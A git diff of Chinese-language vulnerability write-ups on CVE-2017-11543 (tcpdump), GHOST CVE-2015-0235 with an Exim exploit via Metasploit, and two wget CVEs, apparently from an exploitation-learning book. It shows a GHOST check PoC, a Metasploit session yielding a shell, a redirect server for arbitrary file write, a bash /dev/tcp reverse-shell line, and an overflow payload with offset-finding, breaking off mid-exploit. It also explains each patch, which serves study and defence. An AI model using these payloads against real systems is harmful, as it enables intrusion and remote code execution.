/usr/lib/i386-linux-gnu/libpcap.so.0.8 #6 0xb7a280e3 in pcap_loop () from /usr/lib/i386-linux-gnu/libpcap.so.0.8 #7 0x08051219 in main (argc=0x4, argv=0xbfffef74) at ./tcpdump.c:2004 -#8 0xb787d637 in __libc_start_main (main=0x804f8f0
, argc=0x4, argv=0xbfffef74, - init=0x818a160 <__libc_csu_init>, fini=0x818a1c0 <__libc_csu_fini>, rtld_fini=0xb7fea8a0 <_dl_fini>, +#8 0xb787d637 in __libc_start_main (main=0x804f8f0
, argc=0x4, argv=0xbfffef74, + init=0x818a160 <__libc_csu_init>, fini=0x818a1c0 <__libc_csu_fini>, rtld_fini=0xb7fea8a0 <_dl_fini>, stack_end=0xbfffef6c) at ../csu/libc-start.c:291 #9 0x08054316 in _start () ``` + 问题发生的原因是 `sliplink_print` 函数的 `ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O "));` 没有考虑到 dir 既不是 0 也不是 1 的情况,错误地把它当做一个发送的数据包处理,然后调用了 `compressed_sl_print` 函数,导致非法内存地址访问。 漏洞程序代码如下: + ```C #define SLX_DIR 0 #define SLX_CHDR 1 @@ -502,35 +532,38 @@ compressed_sl_print(netdissect_options *ndo, } ``` - ## 漏洞修复 + 在最新的 tcpdump 中已经修复了该漏洞,当发现 direction 是错误的值时,直接返回: -``` + +```text $ tcpdump --version tcpdump version 4.9.2 libpcap version 1.7.4 Compiled with AddressSanitizer/GCC. ``` -``` -$ tcpdump -e -r slip-bad-direction.pcap + +```text +$ tcpdump -e -r slip-bad-direction.pcap reading from file slip-bad-direction.pcap, link-type SLIP (SLIP) 22:23:50.507384 Invalid direction 231 ip v14 ``` 具体代码的修改如下所示,文件 `print-sl.c` 用于打印 CSLIP(Compressed Serial Line Internet Protocol),即压缩的 SLIP: + ```diff -$ git diff 09b1185 378ac56 print-sl.c +$ git diff 09b1185 378ac56 print-sl.c diff --git a/print-sl.c b/print-sl.c index 3fd7e898..a02077b3 100644 --- a/print-sl.c +++ b/print-sl.c @@ -131,8 +131,21 @@ sliplink_print(netdissect_options *ndo, u_int hlen; - + dir = p[SLX_DIR]; // 在这个例子中 dir = 231 = 0xe7 - ND_PRINT((ndo, dir == SLIPDIR_IN ? "I " : "O ")); + switch (dir) { - + + case SLIPDIR_IN: + ND_PRINT((ndo, "I ")); + break; @@ -561,7 +594,7 @@ index 3fd7e898..a02077b3 100644 lastlen[dir][lastconn] = length - (hlen << 2); - ND_PRINT((ndo, "utcp %d: ", lastconn)); break; - + default: + if (dir == -1) { // 在存取操作前检查 dir 的值 + /* Direction is bogus, don't use it */ @@ -574,8 +607,8 @@ index 3fd7e898..a02077b3 100644 commit:[CVE-2017-11543/Make sure the SLIP direction octet is valid.](https://github.com/the-tcpdump-group/tcpdump/commit/378ac56f8055cadda55735b2a786db844d521d24) - ## 参考资料 + - [CVE-2017-11543 Detail](https://nvd.nist.gov/vuln/detail/CVE-2017-11543#vulnDescriptionTitle) - [tcpdump issues](https://github.com/the-tcpdump-group/tcpdump/issues/619) - [hackerlib-vul](https://github.com/hackerlib/hackerlib-vul/tree/master/tcpdump-vul) diff --git a/doc/7.1.2_glibc_2015-0235.md b/doc/7.1.2_glibc_2015-0235.md index e526170..9247421 100644 --- a/doc/7.1.2_glibc_2015-0235.md +++ b/doc/7.1.2_glibc_2015-0235.md @@ -6,14 +6,14 @@ - [Exim expolit](#exim-exploit) - [参考资料](#参考资料) - [下载文件](../src/exploit/7.1.2_glibc_2015-0235) ## 漏洞描述 + glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST,发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出,可以通过 `gethostbyname*()` 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.17。 - ## 漏洞复现 + | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 12.04 | 体系结构:64 位 | @@ -22,34 +22,35 @@ glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖 | 受影响软件 | Exim4 | 版本号:4.80 | 通过下面的 PoC 可以知道自己的系统是否受到影响: + ```c #include #include #include #include #include - + #define CANARY "in_the_coal_mine" - + struct { char buffer[1024]; char canary[sizeof(CANARY)]; } temp = { "buffer", CANARY }; - + int main(void) { struct hostent resbuf; struct hostent *result; int herrno; int retval; - + /*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/ size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1; char name[sizeof(temp.buffer)]; memset(name, '0', len); name[len] = '\0'; - + retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno); - + if (strcmp(temp.canary, CANARY) != 0) { puts("vulnerable"); exit(EXIT_SUCCESS); @@ -62,16 +63,19 @@ int main(void) { exit(EXIT_FAILURE); } ``` -``` -$ file /lib/x86_64-linux-gnu/libc-2.15.so + +```text +$ file /lib/x86_64-linux-gnu/libc-2.15.so /lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped $ gcc -g poc.c $ ./a.out vulnerable ``` + 很明显是存在漏洞的。简单解释一下 PoC,在栈上布置一个区域 temp,由 buffer 和 canary 组成,然后初始化一个 name,最后执行函数 gethostbyname_r(),正常情况下,当把 name+\*host\_addr+\*h\_addr\_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。 函数 `gethostbyname_r()` 在 `include/netdb.h` 中定义如下: + ```c struct hostent { char *h_name; /* official name of host */ @@ -86,6 +90,7 @@ int gethostbyname_r(const char *name, struct hostent *ret, char *buf, size_t buflen, struct hostent **result, int *h_errnop); ``` + - `name`:网页的 host 名称 - `ret`:成功时用于存储结果 - `buf`:临时缓冲区,存储过程中的各种信息 @@ -94,7 +99,8 @@ int gethostbyname_r(const char *name, - `h_errnop`:存储错误码 执行前: -``` + +```text gdb-peda$ x/6gx temp.buffer 0x601060 : 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr 0x601070 : 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs @@ -104,8 +110,10 @@ gdb-peda$ x/20gx temp.canary-0x10 0x601460 : 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary 0x601470 : 0x0000000000000000 0x0000000000000000 ``` + 执行后: -``` + +```text gdb-peda$ x/6gx temp.buffer 0x601060 : 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr 0x601070 : 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs @@ -115,11 +123,12 @@ gdb-peda$ x/6gx temp.canary-0x10 0x601460 : 0x0030303030303030 0x656e696d5f6c616f <-- canary 0x601470 : 0x0000000000000000 0x0000000000000000 ``` + canary 被覆盖了 8 个字节,即溢出了 8 个字节。 - ## 漏洞分析 -``` + +```text grep -irF '__nss_hostname_digits_dots' ./* ./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots ./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2. @@ -129,7 +138,9 @@ grep -irF '__nss_hostname_digits_dots' ./* ./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots) ./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL, ``` + 通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 `HANDLE_DIGITS_DOTS` 被定义: + ```c // inet/gethstbynm.c #define NEED_H_ERRNO 1 @@ -147,6 +158,7 @@ grep -irF '__nss_hostname_digits_dots' ./* ``` 具体程序如下(来自glibc-2.17): + ```c // nss/digits_dots.c int @@ -239,21 +251,25 @@ __nss_hostname_digits_dots (const char *name, struct hostent *resbuf, } } ``` + 注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件: + - name 的第一个字符必须是数字 - name 的最后一个字符不能是 "." - name 的所有字符只能是数字或者 "." - 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d","a.b.c","a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff 对比一下 glibc-2.18 的代码,也就是把 h_alias\_ptr 的长度加上了,问题完美解决: + ```c size_needed = (sizeof (*host_addr) + sizeof (*h_addr_ptrs) + sizeof (*h_alias_ptr) + strlen (name) + 1); ``` -#### Exim exploit -``` +### Exim exploit + +```text $ sudo apt-get install libpcre3-dev $ git clone https://github.com/Exim/exim.git $ cd exim/src @@ -265,24 +281,30 @@ $ #注释掉 EXIM_MONITOR=eximon.bin $ #然后取消掉 PCRE_LIBS=-lpcre 的注释 $ make && sudo make install ``` + 最后为了能够调用 `smtp_verify_helo()`,在 Exim 的配置文件中必须开启 `helo_verify_hosts` 或 `helo_try_verify_hosts`。在文件 `/var/lib/exim4/config.autogenerated` 中的 `acl_smtp_mail` 一行下面加上 `helo_try_verify_hosts = *` 或者 `helo_verify_hosts = *`: -``` + +```text acl_smtp_mail = MAIN_ACL_CHECK_MAIL helo_try_verify_hosts = * ``` + 更新并重启软件即可: -``` + +```text $ update-exim4.conf $ exim4 -bP | grep helo_try helo_try_verify_hosts = * $ sudo /etc/init.d/exim4 stop $ sudo /usr/exim/bin/exim -bdf -d+all ``` + 这样就把程序以 debug 模式开启了,之后的所有操作都会被打印出来,方便观察。还是为了方便(懒),后续的所有操作都只在本地执行。 先简单地看一下 Exim 处理 HELO 命令的过程,在另一个 shell 里,使用 telenet 连接上 Exim,根据前面的限制条件随便输入点什么: -``` + +```text $ telnet 127.0.0.1 25 Trying 127.0.0.1... Connected to 127.0.0.1. @@ -299,8 +321,10 @@ Escape character is '^]'. HELO 0123456789 250 firmy-VirtualBox Hello localhost [127.0.0.1] ``` + 结果如下: -``` + +```text 17:00:47 5577 Process 5577 is ready for new message 17:00:47 5577 smtp_setup_msg entered 17:00:55 5577 SMTP<< HELO 0123456789 @@ -319,6 +343,7 @@ HELO 0123456789 ``` 可以看到它最终调用了 `gethostbyname2()` 函数来解析来自 SMTP 客户端的数据包。具体代码如下:[github](https://github.com/Exim/exim/tree/exim-4_80) + ```c // src/src/smtp_in.c int @@ -371,7 +396,9 @@ while (done <= 0) } } ``` + 继续看函数 `smtp_verify_helo()`: + ```c // src/src/smtp_in.c BOOL @@ -394,6 +421,7 @@ smtp_verify_helo(void) } } ``` + ```c // src/src/host.c int @@ -431,17 +459,22 @@ for (i = 1; i <= times; } #endif /* HAVE_IPV6 */ ``` + 函数 `host_find_byname` 调用了 `gethostbyname()` 和 `gethostbyname2()` 分别针对 IPv4 和 IPv6 进行处理,也就是在这里可以触发漏洞函数。 这一次我们输入这样的一串字符,即可导致溢出: -``` + +```text $ python -c "print 'HELO ' + '0'*$((0x500-16*1-2*8-1-8))" ``` + 但是程序可能还是正常在运行的,我们多输入执行几次就会触发漏洞,发生段错误,连接被断开。 -``` + +```text Connection closed by foreign host. ``` -``` + +```text $ dmesg | grep exim [28929.172015] traps: exim4[3288] general protection ip:7fea41465c1d sp:7fff471f0dd0 error:0 in libc-2.15.so[7fea413f6000+1b5000] [28929.493632] traps: exim4[3301] general protection ip:7fea42e2cc9c sp:7fff471f0d90 error:0 in exim4[7fea42db6000+dc000] @@ -450,10 +483,12 @@ $ dmesg | grep exim ``` 其实对于 Exim 的攻击已经集成到了 Metasploit 框架中,我们来尝试一下,正好学习一下这个强大的框架,仿佛自己也可以搞渗透测试。先关掉debug模式的程序,重新以正常的样子打开: -``` + +```text $ /etc/init.d/exim4 restart ``` -``` + +```text msf > search exim Matching Modules @@ -468,14 +503,14 @@ Matching Modules exploit/unix/webapp/wp_phpmailer_host_header 2017-05-03 average WordPress PHPMailer Host Header Command Injection -msf > use exploit/linux/smtp/exim_gethostbyname_bof +msf > use exploit/linux/smtp/exim_gethostbyname_bof msf exploit(linux/smtp/exim_gethostbyname_bof) > set RHOST 127.0.0.1 RHOST => 127.0.0.1 msf exploit(linux/smtp/exim_gethostbyname_bof) > set SENDER_HOST_ADDRESS 127.0.0.1 SENDER_HOST_ADDRESS => 127.0.0.1 msf exploit(linux/smtp/exim_gethostbyname_bof) > set payload cmd/unix/bind_netcat payload => cmd/unix/bind_netcat -msf exploit(linux/smtp/exim_gethostbyname_bof) > show options +msf exploit(linux/smtp/exim_gethostbyname_bof) > show options Module options (exploit/linux/smtp/exim_gethostbyname_bof): @@ -501,7 +536,7 @@ Exploit target: 0 Automatic -msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit +msf exploit(linux/smtp/exim_gethostbyname_bof) > exploit [*] Started bind handler [*] 127.0.0.1:25 - Checking if target is vulnerable... @@ -520,12 +555,13 @@ Debian-exim id uid=115(Debian-exim) gid=125(Debian-exim) groups=125(Debian-exim) ``` + Bingo!!!成功获得了一个反弹 shell。 对于该脚本到底是怎么做到的,本人水平有限,还有待分析。。。 - ## 参考资料 + - [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235) - [Qualys Security Advisory CVE-2015-0235](http://www.openwall.com/lists/oss-security/2015/01/27/9) - [Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/36421/) diff --git a/doc/7.1.3_wget_2016-4971.md b/doc/7.1.3_wget_2016-4971.md index cd72310..036219a 100644 --- a/doc/7.1.3_wget_2016-4971.md +++ b/doc/7.1.3_wget_2016-4971.md @@ -5,16 +5,16 @@ - [漏洞分析](#漏洞分析) - [参考资料](#参考资料) - [下载文件](../src/exploit/7.1.3_wget_2016-4971) ## 漏洞描述 + wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。 漏洞发生在将 HTTP 服务重定向到 FTP 服务时,wget 会默认选择相信 HTTP 服务器,并且直接使用重定向的 FTP URL,而没有对其进行二次验证或对下载文件名进行适当的处理。如果攻击者提供了一个恶意的 URL,通过这种重定向可能达到任意文件的上传的问题,并且文件名和文件内容也是任意的。 - ## 漏洞复现 + | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:64 位 | @@ -22,33 +22,41 @@ wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTP | 所需软件 | vsftpd | 版本号:3.0.3 | 首先需要安装 ftp 服务器: -``` + +```text $ sudo apt-get install vsftpd ``` + 修改其配置文件 `/etc/vsftpd.conf`,使匿名用户也可以访问: -``` + +```text # Allow anonymous FTP? (Disabled by default). anonymous_enable=YES ``` + 然后我们需要一个 HTTP 服务,这里选择使用 Flask: -``` + +```text $ sudo pip install flask ``` 创建两个文件 noharm.txt 和 harm.txt,假设前者是我们请求的正常文件,后者是重定位后的恶意文件,如下: -``` + +```text $ ls harm.txt httpServer.py noharm.txt -$ cat noharm.txt +$ cat noharm.txt "hello world" -$ cat harm.txt +$ cat harm.txt "you've been hacked" $ sudo cp harm.txt /srv/ftp $ sudo python httpServer.py * Running on http://0.0.0.0:80/ (Press CTRL+C to quit) ``` + `httpServer.py` 代码如下: -```py + +```python #!/usr/bin/env python from flask import Flask, redirect @@ -61,8 +69,10 @@ def test(): if __name__ == "__main__": app.run(host="0.0.0.0",port=80) ``` + 接下来在另一个 shell 里(记得切换到一个不一样的目录),执行下面的语句: -``` + +```text $ ls | grep harm $ wget --version | head -n1 GNU Wget 1.17.1 built on linux-gnu. @@ -81,19 +91,21 @@ Logging in as anonymous ... Logged in! ==> PASV ... done. ==> RETR harm.txt ... done. Length: 21 (unauthoritative) -noharm.txt 100%[==============================================>] 21 --.-KB/s in 0s +noharm.txt 100%[==============================================>] 21 --.-KB/s in 0s 2018-01-29 15:30:35 (108 KB/s) - ‘noharm.txt’ saved [21] -$ ls | grep harm +$ ls | grep harm noharm.txt -$ cat noharm.txt +$ cat noharm.txt "you've been hacked" ``` + 可以看到发生了重定向,虽然下载的文件内容是重定位后的文件的内容(harm.txt),但文件名依然是一开始请求的文件名(noharm.txt),完全没有问题。 这样看来,该系统上的 wget 虽然是 1.17.1,但估计已经打过补丁了。我们直接编译安装原始的版本: -``` + +```text $ sudo apt-get install libneon27-gnutls-dev $ wget https://ftp.gnu.org/gnu/wget/wget-1.17.1.tar.gz $ tar zxvf wget-1.17.1.tar.gz @@ -101,8 +113,10 @@ $ cd wget-1.17.1 $ ./configure $ make && sudo make install ``` + 发出请求: -``` + +```text $ wget 0.0.0.0/noharm.txt --2018-01-29 16:32:15-- http://0.0.0.0/noharm.txt Connecting to 0.0.0.0:80... connected. @@ -118,22 +132,24 @@ Logging in as anonymous ... Logged in! ==> PASV ... done. ==> RETR harm.txt ... done. Length: 21 (unauthoritative) -harm.txt 100%[==============================================>] 21 --.-KB/s in 0s +harm.txt 100%[==============================================>] 21 --.-KB/s in 0s 2018-01-29 16:32:15 (3.41 MB/s) - ‘harm.txt’ saved [21] -$ cat harm.txt +$ cat harm.txt "you've been hacked" ``` + Bingo!!!这一次 harm.txt 没有被修改成原始请求的文件名。 在参考资料中,展示了一种针对 .bash\_profile 的攻击,我们知道在刚登录 Linux 时,.bash_profile 会被执行,用于设置一些环境变量。但如果该文件是一个恶意的文件,比如 `bash -i >& /dev/tcp/xxx.xxx.xxx.xxx/9980 0>&1` 这样的 payload,执行后就会返回一个 shell 给攻击者。 如果某个人在自己的 home 目录下执行了 wget 请求,并且该目录下没有 .bash_profile,那么利用该漏洞,攻击这就可以将恶意的 .bash\_profile 保存到这个人的 home 下。下一次启动时,恶意代码被执行,获得 shell。 - ## 漏洞分析 -#### 补丁 + +### 补丁 + ```diff $ git diff e996e322ffd42aaa051602da182d03178d0f13e1 src/ftp.c | cat commit e996e322ffd42aaa051602da182d03178d0f13e1 @@ -141,18 +157,18 @@ Author: Giuseppe Scrivano Date: Mon Jun 6 21:20:24 2016 +0200 ftp: understand --trust-server-names on a HTTP->FTP redirect - + If not --trust-server-names is used, FTP will also get the destination file name from the original url specified by the user instead of the redirected url. Closes CVE-2016-4971. - + * src/ftp.c (ftp_get_listing): Add argument original_url. (getftp): Likewise. (ftp_loop_internal): Likewise. Use original_url to generate the file name if --trust-server-names is not provided. (ftp_retrieve_glob): Likewise. (ftp_loop): Likewise. - + Signed-off-by: Giuseppe Scrivano diff --git a/src/ftp.c b/src/ftp.c @@ -162,10 +178,10 @@ index cc90c3d..88a9777 100644 @@ -236,7 +236,7 @@ print_length (wgint size, wgint start, bool authoritative) logputs (LOG_VERBOSE, !authoritative ? _(" (unauthoritative)\n") : "\n"); } - + -static uerr_t ftp_get_listing (struct url *, ccon *, struct fileinfo **); +static uerr_t ftp_get_listing (struct url *, struct url *, ccon *, struct fileinfo **); - + static uerr_t get_ftp_greeting(int csock, ccon *con) @@ -315,7 +315,8 @@ init_control_ssl_connection (int csock, struct url *u, bool *using_control_secur @@ -208,14 +224,14 @@ index cc90c3d..88a9777 100644 locf = con->target; else @@ -1923,8 +1924,8 @@ ftp_loop_internal (struct url *u, struct fileinfo *f, ccon *con, char **local_fi - + /* If we are working on a WARC record, getftp should also write to the warc_tmp file. */ - err = getftp (u, len, &qtyread, restval, con, count, &last_expected_bytes, - warc_tmp); + err = getftp (u, original_url, len, &qtyread, restval, con, count, + &last_expected_bytes, warc_tmp); - + if (con->csock == -1) con->st &= ~DONE_CWD; @@ -2092,7 +2093,8 @@ Removing file due to --delete-after in ftp_loop_internal():\n")); @@ -229,7 +245,7 @@ index cc90c3d..88a9777 100644 uerr_t err; char *uf; /* url file name */ @@ -2113,7 +2115,7 @@ ftp_get_listing (struct url *u, ccon *con, struct fileinfo **f) - + con->target = xstrdup (lf); xfree (lf); - err = ftp_loop_internal (u, NULL, con, NULL, false); @@ -240,7 +256,7 @@ index cc90c3d..88a9777 100644 @@ -2136,8 +2138,9 @@ ftp_get_listing (struct url *u, ccon *con, struct fileinfo **f) return err; } - + -static uerr_t ftp_retrieve_dirs (struct url *, struct fileinfo *, ccon *); -static uerr_t ftp_retrieve_glob (struct url *, ccon *, int); +static uerr_t ftp_retrieve_dirs (struct url *, struct url *, @@ -248,7 +264,7 @@ index cc90c3d..88a9777 100644 +static uerr_t ftp_retrieve_glob (struct url *, struct url *, ccon *, int); static struct fileinfo *delelement (struct fileinfo *, struct fileinfo **); static void freefileinfo (struct fileinfo *f); - + @@ -2149,7 +2152,8 @@ static void freefileinfo (struct fileinfo *f); If opt.recursive is set, after all files have been retrieved, ftp_retrieve_dirs will be called to retrieve the directories. */ @@ -310,7 +326,7 @@ index cc90c3d..88a9777 100644 + ftp_retrieve_glob (u, original_url, con, GLOB_GETALL); url_set_dir (u, odir); xfree (odir); - + @@ -2508,14 +2519,15 @@ is_invalid_entry (struct fileinfo *f) GLOB_GLOBALL, use globbing; if it's GLOB_GETALL, download the whole directory. */ @@ -321,9 +337,9 @@ index cc90c3d..88a9777 100644 { struct fileinfo *f, *start; uerr_t res; - + con->cmd |= LEAVE_PENDING; - + - res = ftp_get_listing (u, con, &start); + res = ftp_get_listing (u, original_url, con, &start); if (res != RETROK) @@ -346,7 +362,7 @@ index cc90c3d..88a9777 100644 + res = ftp_loop_internal (u, original_url, NULL, con, NULL, false); return res; } - + @@ -2647,8 +2659,8 @@ ftp_retrieve_glob (struct url *u, ccon *con, int action) of URL. Inherently, its capabilities are limited on what can be encoded into a URL. */ @@ -364,7 +380,7 @@ index cc90c3d..88a9777 100644 struct fileinfo *f; - res = ftp_get_listing (u, &con, &f); + res = ftp_get_listing (u, original_url, &con, &f); - + if (res == RETROK) { if (opt.htmlify && !opt.spider) @@ -395,19 +411,23 @@ index cc90c3d..88a9777 100644 if (res == FTPOK) res = RETROK; ``` + 通过查看补丁的内容,我们发现主要的修改有两处,一个是函数 `ftp_loop_internal()`,增加了对是否使用了参数 `--trust-server-names` 及是否存在重定向进行了判断: + ```c con->target = url_file_name (opt.trustservernames || !original_url ? u : original_url, NULL); ``` + 另一个是函数 `ftp_loop()`,也是一样的: + ```c struct url *url_file = opt.trustservernames ? u : original_url; ``` 修改之后,如果没有使用参数 `--trust-server-names`,则默认使用原始 URL 中的文件名替换重定向后 URL 中的文件名。问题就这样解决了。 - ## 参考资料 + - [CVE-2016-4971](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4971) - [GNU Wget < 1.18 - Arbitrary File Upload / Remote Code Execution](https://www.exploit-db.com/exploits/40064/) - [Wget漏洞(CVE-2016-4971)利用方式解析](http://www.freebuf.com/vuls/107206.html) diff --git a/doc/7.1.4_wget_2017-13089.md b/doc/7.1.4_wget_2017-13089.md index 2c7e491..c212304 100644 --- a/doc/7.1.4_wget_2017-13089.md +++ b/doc/7.1.4_wget_2017-13089.md @@ -6,16 +6,16 @@ - [Exploit](#exploit) - [参考资料](#参考资料) - [下载文件](../src/exploit/7.1.4_wget_2017-13089) ## 漏洞描述 + wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTPS、FTP 三种最常见的 TCP/IP 协议。 在处理例如重定向的情况时,wget 会调用到 `skip_short_body()` 函数,函数中会对分块编码的数据调用 `strtol()` 函数读取每个块的长度,但在版本 1.19.2 之前,没有对这个长度进行必要的检查,例如其是否为负数。然后 wget 通过使用 `MIN()` 宏跳过块的 512 个字节,将负数传递给了函数 `fd_read()`。由于 `fd_read()` 接收的参数类型为 `int`,所以块长度的高 32 位会被丢弃,使得攻击者可以控制传递给 `fd_read()` 的参数。 - ## 漏洞复现 + | |推荐使用的环境 | 备注 | | --- | --- | --- | | 操作系统 | Ubuntu 16.04 | 体系结构:64 位 | @@ -23,7 +23,8 @@ wget 是一个从网络上自动下载文件的工具,支持通过 HTTP、HTTP | 漏洞软件 | wget | 版本号:1.19.1 | 首先编译安装 wget-1.19.1: -``` + +```text $ sudo apt-get install libneon27-gnutls-dev $ wget https://ftp.gnu.org/gnu/wget/wget-1.19.1.tar.gz $ tar zxvf wget-1.19.1.tar.gz @@ -35,7 +36,8 @@ GNU Wget 1.19.1 built on linux-gnu. ``` 引发崩溃的 payload 如下: -``` + +```text HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked @@ -47,7 +49,8 @@ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ``` stack smashing 现场: -``` + +```text $ nc -lp 6666 < payload & wget --debug localhost:6666 [1] 4291 DEBUG output created by Wget 1.19.1 on linux-gnu. @@ -77,7 +80,7 @@ Accept-Encoding: identity Host: localhost:6666 Connection: Keep-Alive -HTTP request sent, awaiting response... +HTTP request sent, awaiting response... ---response begin--- HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 @@ -93,9 +96,10 @@ Skipping -4294966528 bytes of body: [AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Aborted (core dumped) ``` - ## 漏洞分析 + 关键函数 `skip_short_body()`: + ```c // src/http.c static bool @@ -177,12 +181,15 @@ skip_short_body (int fd, wgint contlen, bool chunked) ``` 一般是这样调用的: + ```c if (keep_alive && !head_only && skip_short_body (sock, contlen, chunked_transfer_encoding)) CLOSE_FINISH (sock); ``` + 所以要想进入到漏洞代码,只需要 `contlen` 的长度不大于 4096 且使用了分块编码 `chunked_transfer_encoding`。对于参数 `chunked_transfer_encoding` 的设置在函数 `gethttp()` 中: + ```c // src/http.c chunked_transfer_encoding = false; @@ -190,14 +197,18 @@ CLOSE_FINISH (sock); && 0 == c_strcasecmp (hdrval, "chunked")) chunked_transfer_encoding = true; ``` + 而 `contlen` 的赋值为 `contlen = MIN (remaining_chunk_size, SKIP_SIZE);`,`MIN()` 宏函数定义如下,用于获得两个值中小的那一个: + ```c // src/wget.h # define MIN(i, j) ((i) <= (j) ? (i) : (j)) ``` + 当 `remaining_chunk_size` 为负值时,同样满足小于 `SKIP_SIZE`,所以 `contlen` 实际上是可控的。 随后进入 `fd_read()` 函数,从 fd 读取 bufsize 个字节到 buf 中,于是引起缓冲区溢出: + ```c //src/connect.c /* Read no more than BUFSIZE bytes of data from FD, storing them to @@ -219,7 +230,8 @@ fd_read (int fd, char *buf, int bufsize, double timeout) } ``` -#### 补丁 +### 补丁 + ```diff $ git show d892291fb8ace4c3b734ea5125770989c215df3f | cat commit d892291fb8ace4c3b734ea5125770989c215df3f @@ -227,9 +239,9 @@ Author: Tim Rühsen Date: Fri Oct 20 10:59:38 2017 +0200 Fix stack overflow in HTTP protocol handling (CVE-2017-13089) - + * src/http.c (skip_short_body): Return error on negative chunk size - + Reported-by: Antti Levomäki, Christian Jalio, Joonas Pihlaja from Forcepoint Reported-by: Juhani Eronen from Finnish National Cyber Security Centre @@ -240,7 +252,7 @@ index 5536768..dc31823 100644 @@ -973,6 +973,9 @@ skip_short_body (int fd, wgint contlen, bool chunked) remaining_chunk_size = strtol (line, &endl, 16); xfree (line); - + + if (remaining_chunk_size < 0) + return false; + @@ -248,12 +260,14 @@ index 5536768..dc31823 100644 { line = fd_read_line (fd); ``` + 补丁也很简单,就是对 `remaining_chunk_size` 是否为负值进行了判断。 - ## Exploit + 在这里我们做一点有趣的事情。先修改一下配置文件 `configure.ac`,把堆栈保护技术都关掉,也就是加上下面所示的这几行: -``` + +```text $ cat configure.ac | grep -A4 stack dnl Disable stack canaries CFLAGS="-fno-stack-protector $CFLAGS" @@ -265,11 +279,13 @@ dnl dnl Create output dnl ``` + 然后编译安装,结果如下: -``` + +```text $ sudo apt-get install automake $ make && sudo make install -$ pwn checksec /usr/local/bin/wget +$ pwn checksec /usr/local/bin/wget [*] '/usr/local/bin/wget' Arch: amd64-64-little RELRO: Partial RELRO @@ -280,8 +296,9 @@ $ pwn checksec /usr/local/bin/wget ``` 好了,接下来可以搞事情了。为了方便确认栈溢出的地址,把前面 payload 的 body 部分用 pattern 替代掉: -``` -$ cat payload + +```text +$ cat payload HTTP/1.1 401 Not Authorized Content-Type: text/plain; charset=UTF-8 Transfer-Encoding: chunked @@ -292,8 +309,10 @@ AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4A 0 $ nc -lp 6666 < payload ``` + 在另一个 shell 里启动 gdb 调试 wget: -``` + +```text gdb-peda$ r localhost:6666 gdb-peda$ pattern_offset $ebp 1933668723 found at offset: 560 @@ -303,10 +322,12 @@ Found 2 results, display max 2 items: [heap] : 0x6aad83 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) [stack] : 0x7fffffffcf40 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AALAAhAA7AAMAAiAA8AANAAjAA9AAOAAkAAPAAlAAQAAmAARAAoAASAApAATAAqAAUAArAAVAAtAAWAAuAAXAAvAAYAAwAAZAAxAAyA"...) ``` + 所以 rsp 的地址位于栈偏移 `568` 的地方。而栈地址位于 `0x7fffffffcf40`。 构造 exp 来生成 paylaod: -```py + +```python payload = 